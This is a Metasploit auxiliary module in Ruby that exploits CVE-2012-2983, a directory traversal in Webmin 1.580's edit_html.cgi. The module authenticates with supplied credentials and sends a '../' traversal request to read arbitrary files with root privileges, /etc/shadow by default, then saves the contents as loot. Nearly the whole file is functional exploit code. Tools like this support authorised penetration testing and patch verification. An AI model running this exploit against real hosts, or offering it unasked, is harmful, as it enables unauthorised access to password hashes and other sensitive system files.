## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report def initialize(info = {}) super(update_info(info, 'Name' => 'Webmin edit_html.cgi file Parameter Traversal Arbitrary File Access', 'Description' => %q{ This module exploits a directory traversal in Webmin 1.580. The vulnerability exists in the edit_html.cgi component and allows an authenticated user with access to the File Manager Module to access arbitrary files with root privileges. The module has been tested successfully with Webim 1.580 over Ubuntu 10.04. }, 'Author' => [ 'Unknown', # From American Information Security Group 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['OSVDB', '85247'], ['BID', '55446'], ['CVE', '2012-2983'], ['URL', 'http://www.americaninfosec.com/research/dossiers/AISG-12-002.pdf'], ['URL', 'https://github.com/webmin/webmin/commit/4cd7bad70e23e4e19be8ccf7b9f245445b2b3b80'] ], 'DisclosureDate' => 'Sep 06 2012', 'Actions' => [ ['Download'] ], 'DefaultAction' => 'Download' )) register_options( [ Opt::RPORT(10000), OptBool.new('SSL', [true, 'Use SSL', true]), OptString.new('USERNAME', [true, 'Webmin Username']), OptString.new('PASSWORD', [true, 'Webmin Password']), OptInt.new('DEPTH', [true, 'Traversal depth', 4]), OptString.new('RPATH', [ true, "The file to download", "/etc/shadow" ]) ], self.class) end def run peer = "#{rhost}:#{rport}" print_status("#{peer} - Attempting to login...") data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}" res = send_request_cgi( { 'method' => 'POST', 'uri' => "/session_login.cgi", 'cookie' => "testing=1", 'data' => data }, 25) if res and res.code == 302 and res.get_cookies =~ /sid/ session = res.get_cookies.scan(/sid\=(\w+)\;*/).flatten[0] || '' if session and not session.empty? print_good "#{peer} - Authentication successful" else print_error "#{peer} - Authentication failed" return end else print_error "#{peer} - Authentication failed" return end print_status("#{peer} - Attempting to retrieve #{datastore['RPATH']}...") traversal = "../" * datastore['DEPTH'] traversal << datastore['RPATH'] data = "file=#{traversal}&text=1" res = send_request_cgi( { 'method' => 'GET', 'uri' => "/file/edit_html.cgi?#{data}", 'cookie' => "sid=#{session}" }, 25) if (res and res.code == 200 and res.body =~ /#{traversal}/ and res.body =~ /name=body>(.*)<\/textarea>/m) loot = $1 f = ::File.basename(datastore['RPATH']) path = store_loot('webmin.file', 'application/octet-stream', rhost, loot, f, datastore['RPATH']) print_status("#{peer} - #{datastore['RPATH']} saved in #{path}") else print_error("#{peer} - Failed to retrieve the file") return end end end